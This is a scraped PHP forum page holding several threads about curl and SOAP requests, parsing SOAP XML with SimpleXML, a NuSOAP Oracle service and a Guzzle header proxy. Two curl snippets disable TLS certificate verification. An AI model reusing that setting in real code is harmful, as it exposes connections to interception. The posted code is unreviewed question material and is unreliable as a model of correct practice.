PHP - Curl Soap Response Parsing Issue
Hello guys, <?xml version="1.0" encoding="utf-8"?> <string xmlns="http://tempuri.org/">false</string>
Unfortunately the curl returns something that I can't parse to XML and get the value "false" $soap_do = curl_init(); curl_setopt($soap_do, CURLOPT_URL, $url ); curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true ); curl_setopt($soap_do, CURLOPT_POST, true ); curl_setopt($soap_do, CURLOPT_POSTFIELDS, $soap_request); curl_setopt($soap_do, CURLOPT_HTTPHEADER, $header); curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($soap_do); $xml = simplexml_load_string($result); return $xml; How do I parse this SOAP response? Thank you very much Similar TutorialsOk this is driving me NUTS! After using SoapClient() this is the response i get back... Code: [Select] <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soap:Body> <ns1:GetRegistrationURLResponse xmlns:ns1="http://impl.service.tempuri.com"> <ns1:out> <errorCode xmlns="http://model.tempuri.com">0</errorCode> <errorMessage xmlns="http://model.tempuri.com" xsi:nil="true" /> <registrationURL xmlns="http://model.tempuri.com"> https://www.tempuri.com/external/authenticate?org=orgname&token=uXiqcPV4%2FuEifbaR80PVBTxH4Oqd3tF%2BiEYaz%2F1OHJG7b5oxN7Bi8AIulmtbwATnjri2P1vCNy%2Fu77OzQEV2lQ%3D%3D </registrationURL> </ns1:out> </ns1:GetRegistrationURLResponse> </soap:Body> </soap:Envelope> So all i really need to pull out of there is the <registrationURL> I assign the response to a variable Code: [Select] <?php $xml_response = $client->__getLastResponse(); ?> use SimpleXML Code: [Select] <?php $xml = simplexml_load_string($xml_response,NULL,NULL,"http://schemas.xmlsoap.org/soap/envelope/"); ?> Using the code Code: [Select] print_r($xml); displays this --> SimpleXMLElement Object ( [Body] => SimpleXMLElement Object ( ) ) I have tried many ways, what i have now is this: Code: [Select] <?php $xml->registerXPathNamespace('soap', 'http://schemas.xmlsoap.org/soap/envelope/'); $xml->registerXPathNamespace('ns1', 'http://impl.service.tempuri.com'); #$xml->registerXPathNamespace('registrationURL', 'http://model.tempuri.com'); foreach ($xml->xpath('//ns1:GetRegistrationURLResponse/ns1:out') as $item) { echo $item->asXML(); } ?> but the result of that is 0https://www.tempuri.com/external/authenticate?org=nyit&token=uXiqcPV4%2FuEifbaR80PVBTxH4Oqd3tF%2BiEYaz%2F1OHJG7b5oxN7Bi8AIulmtbwATn3QmJanSYWqzS%2FgZM4eR%2Fcg%3D%3D parsed by browser... actual source XML is Code: [Select] <ns1:out><errorCode xmlns="http://model.tempuri.com">0</errorCode><errorMessage xmlns="http://model.tempuri.com" xsi:nil="true"/><registrationURL xmlns="http://model.tempuri.com">https://www.tempuri.com/external/authenticate?org=orgname&token=uXiqcPV4%2FuEifbaR80PVBTxH4Oqd3tF%2BiEYaz%2F1OHJG7b5oxN7Bi8AIulmtbwATn3QmJanSYWqzS%2FgZM4eR%2Fcg%3D%3D</registrationURL></ns1:out> but i cannot for the life of me just pull out registrationURL so that i can somehow turn it into a link. Any ideas? Hi I am trying to retrieve soap response as xml string. I have tried to parse the soap response xml string using simplexml. I am getting the error XML Parsing Error: junk after document element Here is my response. I have a problem in this response as you can see <br /> tag get added to the last of this xml string. I haver tried to remove using str_replace but with no luck. Code: [Select] <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><GetListItemsResponse xmlns="http://schemas.microsoft.com/sharepoint/soap/"><GetListItemsResult><listitems xmlns:s='uuid:BDC6E3F0-6DA3-11d1-A2A3-00AA00C14882' xmlns:dt='uuid:C2F41010-65B3-11d1-A29F-00AA00C14882' xmlns:rs='urn:schemas-microsoft-com:rowset' xmlns:z='#RowsetSchema'> <rs:data ItemCount="4"> <z:row ows_Attachments='0' ows_LinkTitle='test' ows_Name='test' ows_Email='jaiganesh@gmail.com' ows_MetaInfo='1;#' ows__ModerationStatus='0' ows__Level='1' ows_Title='test' ows_ID='1' ows_owshiddenversion='2' ows_UniqueId='1;#{B6AEA147-BD2F-4157-8F46-57B86277EAA5}' ows_FSObjType='1;#0' ows_Created_x0020_Date='1;#2012-05-15 12:09:57' ows_Created='2012-05-15 12:09:57' ows_FileLeafRef='1;#1_.000' ows_FileRef='1;#Lists/CustomerInfo/1_.000' /> <z:row ows_Attachments='0' ows_LinkTitle='Test2' ows_Name='test' ows_MetaInfo='2;#' ows__ModerationStatus='0' ows__Level='1' ows_Title='Test2' ows_ID='2' ows_owshiddenversion='1' ows_UniqueId='2;#{4EC49195-F4D6-483F-B762-0F1DEEDBF2E5}' ows_FSObjType='2;#0' ows_Created_x0020_Date='2;#2012-05-15 12:11:00' ows_Created='2012-05-15 12:11:00' ows_FileLeafRef='2;#2_.000' ows_FileRef='2;#Lists/CustomerInfo/2_.000' /> <z:row ows_Attachments='0' ows_LinkTitle='My Title' ows_MetaInfo='3;#' ows__ModerationStatus='0' ows__Level='1' ows_Title='My Title' ows_ID='3' ows_owshiddenversion='1' ows_UniqueId='3;#{E4E5854A-2263-45D0-85D1-02AD65B6006E}' ows_FSObjType='3;#0' ows_Created_x0020_Date='3;#2012-05-15 15:49:58' ows_Created='2012-05-15 15:49:58' ows_FileLeafRef='3;#3_.000' ows_FileRef='3;#Lists/CustomerInfo/3_.000' /> <z:row ows_Attachments='0' ows_LinkTitle='My Title' ows_MetaInfo='4;#' ows__ModerationStatus='0' ows__Level='1' ows_Title='My Title' ows_ID='4' ows_owshiddenversion='1' ows_UniqueId='4;#{59C287EA-F92E-4F57-80A7-30E453124DD8}' ows_FSObjType='4;#0' ows_Created_x0020_Date='4;#2012-05-15 15:50:50' ows_Created='2012-05-15 15:50:50' ows_FileLeafRef='4;#4_.000' ows_FileRef='4;#Lists/CustomerInfo/4_.000' /> </rs:data> </listitems></GetListItemsResult></GetListItemsResponse></soap:Body></soap:Envelope><br /> A HTTP request is made to the server, Slim creates a Request and Response object, content in the Request is sent to another server using cURL via Guzzle, Guzzle returns its own Response, and content from Guzzle's response must be returned by the original Slim response. Would you recommend white-listing or black-listing response headers, and which specific headers? Similarly, would you recommend white-listing or black-listing the request headers sent via cURL, and which specific headers? Thanks <?php use Psr\Http\Message\ResponseInterface as Response; use GuzzleHttp\Psr7\Response as CurlResponse; class ApiResponder { public function delete(Response $httpResponse, CurlResponse $curlResponse) { return $this->proxy($httpResponse, $curlResponse); } //other public methods... private function proxy(Response $httpResponse, CurlResponse $curlResponse) { foreach($this->getResponseHeaders($curlResponse) as $name=>$value) { $httpResponse=$httpResponse->withHeader($name, $value); } return $httpResponse->withBody($curlResponse->getBody())->withStatus($curlResponse->getStatusCode()); } private function getResponseHeaders(Response $httpResponse):array { //Blacklist headers which should be returned to original client. TBD whether I should whitelist headers instead. $blacklist=['Date'=>null, 'Server'=>null, 'X-Powered-By'=>null, 'Access-Control-Allow-Origin'=>null, 'Access-Control-Allow-Methods'=>null, 'Access-Control-Allow-Headers'=>null, 'Set-Cookie'=>null]; return array_diff_key($curlResponse->getHeaders(), $blacklist); } /** * This method doesn't really exist in this class, but is just included to show which headers I am forwarding in the cURL request. */ private function getRequestHeaders($clientRequest):array { $whitelist=['connection'=>null,'accept'=>null,'accept-encoding'=>null,'accept-language'=>null,'content-type'=>null,'content-length'=>null]; return array_intersect_key($clientRequest->getHeaders(), $whitelist); } }
I have a soap client written up that works well on small requests, but on large ones I face out of memory issues. I want to be able to write the response directly to a file as an xml document, so I can use something like xpath. When I try this even on small responses it seems to go into a loop: $infile = $client->Retrieve($criteria); $outfile = fopen('./sites/all/modules/cvent/data.txt', 'w'); while (!feof($infile)) { fwrite($outfile, fread($infile, 2048)); } how can I put the data into a file straight from the response and still be economical on memory? Hi Guys, I have this SOAP message to be parsed using SimpleXML: <soap:envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:body> <isokresponse xmlns="http://tempuri.org/"> <isokresult>1</isokresult> </isokresponse> </soap:body> </soap:envelope> Then I load the XML: $xml = simplexml_load_string($result); I assume I need to register namespace e.g. $xml->registerXPathNamespace("soap","http://schemas.xmlsoap.org/soap/envelope/"); But what's next? How do I get the value of the element isokresult? Thank you so much Hi, Help would be very appreciative I am doing some preliminary testing for future projects. A company we are working with supplied us with a wsdl file to communicate with their system. I want to use PHP to run functions in the wsdl file but I got stuck after calling a function and I get no response back. Below is my test snippet PHP code. Below the PHP code is the wsdl file (also attached change the extension from .txt to .wsdl before using it). When I run the php code from command line (linux server) I get a "Segmentation fault" back. I am assuming that the error is coming from the wsdl file. I am not high fly on wsdl code and I would not really know what I'm doing if I started chopping and dicing the wsdl file. <?php $client = new SoapClient("http://172.21.1.24:7070/comactivity/axis2services/OrderEntryWebService?wsdl/"); //if the wsdl exist locally use //$client = new SoapClient("file.wsdl"); //echo var_export($client->__getFunctions(),true); $arr_head=array( "cuno" =>"1234", "ortp" =>"ORD", "faci" =>"M00", "rldt" =>"20110811" ); try { $arr = $client->__soapCall("addBatchHead", $arr_head); } catch (SoapFault $exception){ echo $exception; } ?> =========== WSDL file within these tags ============= <?xml version="1.0" encoding="utf-16"?> <wsdl:definitions xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:mime="http://schemas.xmlsoap.org/wsdl/mime/" xmlns:ns="http://services.web" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:wsaw="http://www.w3.org/2006/05/addressing/wsdl" xmlns:ns1="http://org.apache.axis2/xsd" xmlns:http="http://schemas.xmlsoap.org/wsdl/http/" targetNamespace="http://services.web" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"> <wsdl:documentation>Order Entry Web Service</wsdl:documentation> <wsdl:types> <xs:schema attributeFormDefault="qualified" elementFormDefault="unqualified" targetNamespace="http://services.web"> <xs:element name="addBatchHead"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" name="cuno" nillable="true" type="xs:string" /> <xs:element minOccurs="0" name="ortp" nillable="true" type="xs:string" /> <xs:element minOccurs="0" name="faci" nillable="true" type="xs:string" /> <xs:element minOccurs="0" name="rldt" nillable="true" type="xs:string" /> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="addBatchHeadResponse"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" name="addBatchHeadReturn" nillable="true" type="xs:string" /> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="addBatchLine"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" name="tempOrno" nillable="true" type="xs:string" /> <xs:element minOccurs="0" name="itno" nillable="true" type="xs:string" /> <xs:element minOccurs="0" name="orqt" nillable="true" type="xs:string" /> <xs:element minOccurs="0" name="whlo" nillable="true" type="xs:string" /> <xs:element minOccurs="0" name="dlsp" nillable="true" type="xs:string" /> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="addBatchLineResponse"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" name="addBatchLineReturn" nillable="true" type="xs:string" /> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="confirm"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" name="tempOrno" nillable="true" type="xs:string" /> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="confirmResponse"> <xs:complexType> <xs:sequence> <xs:element minOccurs="0" name="confirmReturn" nillable="true" type="xs:string" /> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> </wsdl:types> <wsdl:message name="addBatchLineRequest"> <wsdl:part name="parameters" element="ns:addBatchLine" /> </wsdl:message> <wsdl:message name="confirmRequest"> <wsdl:part name="parameters" element="ns:confirm" /> </wsdl:message> <wsdl:message name="confirmResponse"> <wsdl:part name="parameters" element="ns:confirmResponse" /> </wsdl:message> <wsdl:message name="addBatchHeadResponse"> <wsdl:part name="parameters" element="ns:addBatchHeadResponse" /> </wsdl:message> <wsdl:message name="addBatchLineResponse"> <wsdl:part name="parameters" element="ns:addBatchLineResponse" /> </wsdl:message> <wsdl:message name="addBatchHeadRequest"> <wsdl:part name="parameters" element="ns:addBatchHead" /> </wsdl:message> <wsdl:portType name="OrderEntryWebServicePortType"> <wsdl:operation name="addBatchLine"> <wsdl:input wsaw:Action="urn:addBatchLine" message="ns:addBatchLineRequest" /> <wsdl:output wsaw:Action="urn:addBatchLineResponse" message="ns:addBatchLineResponse" /> </wsdl:operation> <wsdl:operation name="addBatchHead"> <wsdl:input wsaw:Action="urn:addBatchHead" message="ns:addBatchHeadRequest" /> <wsdl:output wsaw:Action="urn:addBatchHeadResponse" message="ns:addBatchHeadResponse" /> </wsdl:operation> <wsdl:operation name="confirm"> <wsdl:input wsaw:Action="urn:confirm" message="ns:confirmRequest" /> <wsdl:output wsaw:Action="urn:confirmResponse" message="ns:confirmResponse" /> </wsdl:operation> </wsdl:portType> <wsdl:binding name="OrderEntryWebServiceHttpBinding" type="ns:OrderEntryWebServicePortType"> <http:binding verb="POST" /> <wsdl:operation name="addBatchLine"> <http:operation location="OrderEntryWebService/addBatchLine" /> <wsdl:input> <mime:content part="addBatchLine" type="text/xml" /> </wsdl:input> <wsdl:output> <mime:content part="addBatchLine" type="text/xml" /> </wsdl:output> </wsdl:operation> <wsdl:operation name="addBatchHead"> <http:operation location="OrderEntryWebService/addBatchHead" /> <wsdl:input> <mime:content part="addBatchHead" type="text/xml" /> </wsdl:input> <wsdl:output> <mime:content part="addBatchHead" type="text/xml" /> </wsdl:output> </wsdl:operation> <wsdl:operation name="confirm"> <http:operation location="OrderEntryWebService/confirm" /> <wsdl:input> <mime:content part="confirm" type="text/xml" /> </wsdl:input> <wsdl:output> <mime:content part="confirm" type="text/xml" /> </wsdl:output> </wsdl:operation> </wsdl:binding> <wsdl:binding name="OrderEntryWebServiceSoap11Binding" type="ns:OrderEntryWebServicePortType"> <soap:binding transport="http://schemas.xmlsoap.org/soap/http" /> <wsdl:operation name="addBatchLine"> <soap:operation soapAction="urn:addBatchLine" style="document" /> <wsdl:input> <soap:body use="literal" /> </wsdl:input> <wsdl:output> <soap:body use="literal" /> </wsdl:output> </wsdl:operation> <wsdl:operation name="addBatchHead"> <soap:operation soapAction="urn:addBatchHead" style="document" /> <wsdl:input> <soap:body use="literal" /> </wsdl:input> <wsdl:output> <soap:body use="literal" /> </wsdl:output> </wsdl:operation> <wsdl:operation name="confirm"> <soap:operation soapAction="urn:confirm" style="document" /> <wsdl:input> <soap:body use="literal" /> </wsdl:input> <wsdl:output> <soap:body use="literal" /> </wsdl:output> </wsdl:operation> </wsdl:binding> <wsdl:binding name="OrderEntryWebServiceSoap12Binding" type="ns:OrderEntryWebServicePortType"> <soap12:binding transport="http://schemas.xmlsoap.org/soap/http" /> <wsdl:operation name="addBatchLine"> <soap12:operation soapAction="urn:addBatchLine" style="document" /> <wsdl:input> <soap12:body use="literal" /> </wsdl:input> <wsdl:output> <soap12:body use="literal" /> </wsdl:output> </wsdl:operation> <wsdl:operation name="addBatchHead"> <soap12:operation soapAction="urn:addBatchHead" style="document" /> <wsdl:input> <soap12:body use="literal" /> </wsdl:input> <wsdl:output> <soap12:body use="literal" /> </wsdl:output> </wsdl:operation> <wsdl:operation name="confirm"> <soap12:operation soapAction="urn:confirm" style="document" /> <wsdl:input> <soap12:body use="literal" /> </wsdl:input> <wsdl:output> <soap12:body use="literal" /> </wsdl:output> </wsdl:operation> </wsdl:binding> <wsdl:service name="OrderEntryWebService"> <wsdl:port name="OrderEntryWebServiceHttpEndpoint" binding="ns:OrderEntryWebServiceHttpBinding"> <http:address location="http://172.21.1.24:7070/comactivity/axis2services/OrderEntryWebService/" /> </wsdl:port> <wsdl:port name="OrderEntryWebServiceHttpSoap12Endpoint" binding="ns:OrderEntryWebServiceSoap12Binding"> <soap12:address location="http://172.21.1.24:7070/comactivity/axis2services/OrderEntryWebService/" /> </wsdl:port> <wsdl:port name="OrderEntryWebService" binding="ns:OrderEntryWebServiceSoap11Binding"> <soap:address location="http://172.21.1.24:7070/comactivity/axis2services/OrderEntryWebService/" /> </wsdl:port> </wsdl:service> </wsdl:definitions> ============== End WSDL file =================== Thank you /Martin [attachment deleted by admin] I have a web service that queries an Oracle database and then returns a struct. If there is any error on my side, I still reply the struct, except it is populated with differnt values. If I change the coding in my error handling to return the struct populated with the error values, then it returns fine, but if I simulate an ORACLE error (use the incorrect passoword for example) I get the following error: "XML error parsing SOAP payload on line 2: Invalid document end" Any suggestions? Is there a way that I can display the "SOAP Payload" to see what is missing? The following extract from my code: <<<< <?php require_once('../NuSoap/lib/nusoap.php'); date_default_timezone_set('Africa/Johannesburg'); $server = new soap_server(); $server->configureWSDL('oracle_err', 'urn:oracle_err'); $server->wsdl->addComplexType('ReturnRecords', 'complexType', 'struct', 'all', '', array( 'FirstVal' =>array('name'=>'FirstVal' , 'type'=>'xsd:string'), 'SecondVal'=>array('name'=>'SecondVal', 'type'=>'xsd:string'), 'ThirdVal' =>array('name'=>'ThirdVal' , 'type'=>'xsd:string'), 'FourthVal'=>array('name'=>'FourthVal', 'type'=>'xsd:string'), 'FifthVal' =>array('name'=>'FifthVal' , 'type'=>'xsd:string'))); $server->wsdl->addComplexType('RecordStatus', 'complexType', 'struct', 'all', '', array( 'ErrStatus'=>array('name'=>'ErrStatus', 'type'=>'xsd:string'), 'FaultReason'=>array('name'=>'FaultReason', 'type'=>'xsd:string'), 'RowsFetched'=>array('name'=>'RowsFetched', 'type'=>'xsd:decimal'))); $server->wsdl->addComplexType('ReturnArray', 'complexType', 'array', 'all', '', array(), array('RntRecs'=>array('name'=>'RntRecs','type'=>'tns:ReturnRecords[]'), 'RecStat'=>array('name'=>'RecStat','type'=>'tns:RecordStatus'))); $server->register('oracle_err', array('InputParam' => 'xsd:string'), array('return' => 'tns:ReturnArray'), 'urn:oracle_err', 'urn:oracle_err#oracle_err', 'rpc', 'encoded', 'Testing Oracle connection.'); function oracle_err($InputParam) { //The connection details to make the database connection. require_once('cdbCred.php'); $date_stamp = date('M_d'); $db_results = array(); $results = array(); $LogFile = $log_dir . "Oracle_error_" . $date_stamp . ".log"; $record_size_limit = 64; //To control the size of the return array. $fptr = fopen($LogFile, 'a') or die("can't open file"); $sys_time = date('omd H:i:s'); fwrite($fptr,"\n\n***************************************\n"); fwrite($fptr,"* PHP - Start Time - ". $sys_time . "*\n"); fwrite($fptr,"***************************************\n"); fwrite($fptr,"PHP - IN WEB Service oracle_err()\n"); fwrite($fptr,"PHP - Source code - oracle_err.php\n"); //**** SETTING UP THE RETURN STRUCT variables **** $sys_time = date('omd H:i:s'); $rows_fetched= 0; $fault_reason= ' '; $error_status = 0; $tempArray = array('FirstVal' => "0", 'SecondVal' => "0", 'ThirdVal' => "0", 'FourthVal' => "0", 'FifthVal' => "0"); fwrite($fptr,"PHP - RECIEVED DATA\n"); fwrite($fptr,"PHP - InputParam =[". $InputParam ."]\n"); fwrite($fptr,"\n") ; $conn = oci_connect($user_name, $user_pswd, $user_database); if (!$conn) { $e = oci_error(); fwrite($fptr, "oci_error=[". $e['message'] . "]\n"); $rows_fetched= 0; $fault_reason= "Error - CONNECTING to ORACLE database.[" . $e['message'] ."]"; $error_status = 1; fwrite($fptr,"PHP - " . $fault_reason . "\n"); $reply_status = array('ErrStatus'=>$error_status, 'FaultReason'=>$fault_reason, 'RowsFetched'=>$rows_fetched); $RtnArray = array('RntRecs' => $tempArray, 'RecStat' => $reply_status); fwrite($fptr,"PHP - LEAVING THE PHP - " . date('omd H:i:s') . "\n"); fclose($fptr); return $RtnArray; } else { fwrite($fptr,"PHP - Connection to the ORACLE database successfull.\n"); } //*********************************************************** // LOADING the reply struct. //*********************************************************** $tempArray = array('FirstVal' => "FIRST", 'SecondVal' => "SECOND", 'ThirdVal' => "THIRD", 'FourthVal' => "FOURTH", 'FifthVal' => "FIFTH"); array_push($results,$tempArray); $tempArray = array('FirstVal' => "ONE", 'SecondVal' => "TWO", 'ThirdVal' => "THREE", 'FourthVal' => "FOUR", 'FifthVal' => "FIVE"); array_push($results,$tempArray); $reply_status = array('ErrStatus'=>$error_status, 'FaultReason'=>$fault_reason, 'RowsFetched'=>count($results)); $RtnArray = array('RntRecs' => $results, 'RecStat' => $reply_status); fwrite($fptr,"\n"); fwrite($fptr,"PHP - DISCONNECTING from ORACLE.\n\n"); oci_close($conn); fwrite($fptr,"PHP - LEAVING THE PHP - " . date('omd H:i:s') . "\n"); fclose($fptr); return $RtnArray; } $HTTP_RAW_POST_DATA = isset($HTTP_RAW_POST_DATA) ? $HTTP_RAW_POST_DATA : ''; $server->service($HTTP_RAW_POST_DATA); ?> AND the call to the web service: <?php // Pull in the NuSOAP code require_once('../lib/nusoap.php'); date_default_timezone_set('Africa/Johannesburg'); $client = new nusoap_client('http://myserver/web/services/oracle_err?wsdl'); echo 'ORACLE ERROR simulation... <br>'; $input_parameter = "1"; $result = $client->call('oracle_err', array('InputParam'=>$input_parameter)); echo 'Back at the client<br>'; echo 'Result=['. $result .'] <br>'; echo 'Count of Result='. count($result) . '<br>'; if ($client->fault) { echo '<h2>Fault</h2><pre>'; print_r($result); echo '</pre>'; } else { $err = $client->getError(); if ($err) { echo '<h2>Error</h2><pre>' . $err . '</pre>'; } else { echo '<h2>Result</h2><pre>'; print_r($result); echo '</pre>'; } } echo 'END'; ?> Hi, I'm posting a form using curl: Code: [Select] <?php //create the final string to be posted using implode() $post_str = implode ('&', $post_items); //Initialize cURL and connect to the remote URL $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://leads..html' ); //Instruct cURL to do a regular HTTP POST curl_setopt($ch, CURLOPT_POST, TRUE); //Specify the data which is to be posted curl_setopt($ch, CURLOPT_POSTFIELDS, $post_str); //Tell curl_exec to return the response output as a string curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); //Follow 302 redirect curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // Timeout in seconds curl_setopt($ch, CURLOPT_TIMEOUT, 30); //verify https curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //Execute the cURL session $response = curl_exec($ch ); //Close cURL session and file curl_close($ch); echo $response; $resp = explode("\n\r\n", $response); $header = explode("\n", $resp[0]); echo "<pre>"; print_r($header); echo "</pre>"; ?> The response is: success: https://www-somesite.html or Array ( => success: https://www-somesite.html ) My question is how to get the returned URL and redirect the user to it? Probably easy but seems to be beyond my very limited php knowledge. Thanks. I have been using PHP CURL to obtain stock data... The URL is
https://trade.plus50...ntName=Facebook
Essentially, it is supposed to return date, time, and price of stock tick data
But it returns stuff like "HrCy/h6wsw4esLL+HrCzDh6wsw4esLMOHrCzDh6wsu4esLLeHrCy7h6wsu4esLL"
So... I would like to know, what is this format, and how do I decode it? Thanks
Here is the full response....
{"InstrumentName":"Facebook","InstrumentID":1350,"StartPointDate":"2014-12-19 20:42:45.837","LastPointDate":"2014-12-19 20:59:59.463","SellRate":"MuHrCzHh6wsx4esLMuHrCzHh6wsy4esLMuHrCzLh6wsy4esLMuHrCzLh6wsz4esLMuHrCzDh6wsw4esLMOHrCzDh6wsv4esLMOHrCzDh6wsw4esLL+HrCy/h6wsw4esLL+HrCzDh6wsw4esLMOHrCzDh6wsu4esLLeHrCy7h6wsu4esLL+HrCy7h6wst4esLLeHrCy3h6wsu4esLLuHrCy7h6wsu4esLLeHrCy3h6wst4esLLeHrCy7h6wsu4esLLuHrCyzh6wsu4esLLeHrCy7h6wsu4esLLuHrCy7h6wsu4esLLeHrCy7h6wsu4esLLuHrCzHh6wsy4esLMuHrCzLh6wsz4esLNOHrCzLh6wsy4esLMuHrCzPh6wsy4esLMuHrCzDh6wsw4esLMeHrCzHh6wsx4esLMOHrCzDh6wsw4esLMeHrCzHh6wsv4esLMOHrCy/h6wst4esLLeHrCyvh6wsq4esLKuHrCyzh6wss4esLLOHrCy3h6wst4esLLOHrCyvh6wsr4esLKuHrCyrh6wsq4esLKuHrCyjh6wsp4esLKOHrCynh6wso4esLK+HrCyvh6wss4esLK+HrCyvh6wsr4esLK+HrCyvh6wsr4esLKeHrCyrh6wsp4esLKOHrCyjh6wsp4esLKOHrCynh6wso4esLKeHrCynh6wsp4esLKOHrCyjh6wsn4esLJ+HrCybh6wsn4esLJuHrCybh6wsl4esLJOHrCyXh6wsm4esLJuHrCybh6wsm4esLJuHrCybh6wso4esLKOHrCynh6wsp4esLKeHrCynh6wsp4esLKeHrCyjh6wso4esLKeHrCynh6wsp4esLKOHrCyjh6wso4esLKeHrCyjh6wsp4esLKeHrCyjh6wso4esLKeHrCynh6wsq4esLK+HrCyvh6wsr4esLK+HrCyvh6wsr4esLK+HrCyzh6wss4esLLOHrCyrh6wsp4esLKeHrCynh6wsp4esLKOHrCyjh6wso4esLJ+HrCyfh6wsn4esLJ+HrCyfh6wsn4esLJ+HrCyjh6wsn4esLJuHrCyXh6wsl4esLJOHrCyXh6wsl4esLJOHrCyTh6wsj4esLI+HrCyTh6wsk4esLJOHrCyTh6wsl4esLJuHrCyXh6wsl4esLJeHrCyfh6wsm4esLJuHrCyfh6wsn4esLJuHrCybh6wsm4esLJuHrCyfh6wsn4esLJ+HrCyfh6wsn4esLJ+HrCyfh6wso4esLJ+HrCyjh6wso4esLKeHrCyjh6wso4esLKeHrCy3h6wss4esLLuHrCy3h6wsv4esLL+HrCy7h6wsv4esLL+HrCzHh6wsy4esLMuHrCzLh6wsz4esLM+HrCzXh6ws04esLNOHrCzTh6ws04esLNuHrCzXh6ws14esLNeHrCzbh6ws24esLNuHrCzfh6ws34esLN+HrCzfh6ws44esLN+HrCzjh6ws34esLNuHrCzfh6ws24esLNuHrCzbh6ws24esLNuHrCzbh6ws14esLNeHrCzXh6ws04esLNeHrCzfh6ws24esLNuHrCzjh6ws54esLOeHrCzrh6ws64esLOuHrCzvh6ws64esLOeHrCznh6ws54esLOuHrCzjh6ws64esLOuHrCzvh6ws74esLOuHrCzvh6ws64esLOuHrCzvh6ws64esLO+HrCzvh6ws74esLOeHrCzjh6ws44esLOOHrCzjh6ws44esLOOHrCzjh6ws34esLN+HrCzfh6ws34esLN+HrCzfh6ws34esLN+HrCzfh6ws34esLN+HrCzbh6ws24esLNeHrCzTh6ws04esLNeHrCzXh6ws04esLNeHrCzbh6ws34esLNuHrCzXh6ws24esLN+HrCzfh6ws24esLN+HrCzfh6ws34esLN+HrCzfh6ws24esLN+HrCzfh6ws24esLNuHrCzXh6ws04esLNOHrCzTh6wsz4esLMuHrCzLh6wsy4esLMuHrCzPh6wsz4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLNOHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzPh6ws04esLNOHrCzPh6ws04esLNOHrCzTh6ws04esLNOHrCzPh6wsz4esLMuHrCzPh6wsy4esLM+HrCzLh6wsz4esLMuHrCzPh6wsy4esLM+HrCzPh6wsz4esLM+HrCzLh6wsy4esLMuHrCzLh6wsy4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLMuHrCzPh6ws04esLNOHrCzXh6ws14esLN+HrCzfh6ws34esLN+HrCzjh6ws34esLNeHrCzXh6ws24esLNeHrCzXh6ws14esLNeHrCzXh6ws14esLNeHrCzXh6ws14esLNeHrCzXh6ws04esLNOHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzTh6wsz4esLM+HrCzPh6wsz4esLNOHrCzPh6ws04esLNOHrCzTh6ws04esLNOHrCzXh6ws04esLNeHrCzXh6ws14esLNuHrCzfh6ws34esLN+HrCzfh6ws24esLNuHrCzfh6ws24esLNeHrCzXh6ws04esLNOHrCzXh6ws04esLNOHrCzXh6ws24esLNuHrCzbh6ws24esLNeHrCzTh6ws14esLNeHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzTh6ws04esLNOHrCzPh6wsz4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLM+HrCzPh6wsz4esLMuHrCzLh6wsx4esLMeHrCzHh6wsx4esLMeHrCzDh6wsv4es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4A0MwOAOjWDgDP3g4AEuUOAIztDgAQ9g4AhvgOAIgADwBqBA8ASgwPAHQODwAeFA8Aix0PANYfDwBFIg8AnCcPAL4pDwD/Kw8A8TQPAEA9DwBmPw8AQEcPALpKDwA6Ug8AwFQPANZWDwDlWQ8Aq1wPAHFfDwD0YQ8AN2cPAElpDwDWaw8AWnMPAPF1DwCteA8AenwPAFaGDwDGiQ8A6IsPANGVDwDxmA8AF5sPAL6hDwD8pA8AH6cPAMSqDwCHrQ8AALAPAH2yDwCMtA8ApLYPAAvADwCaxQ8A","CurrentTime":"2014-12-21 12:36:48.939","PrecisionDigits":2,"SpreadPipsCount":5,"IsDynamicSpread":false}
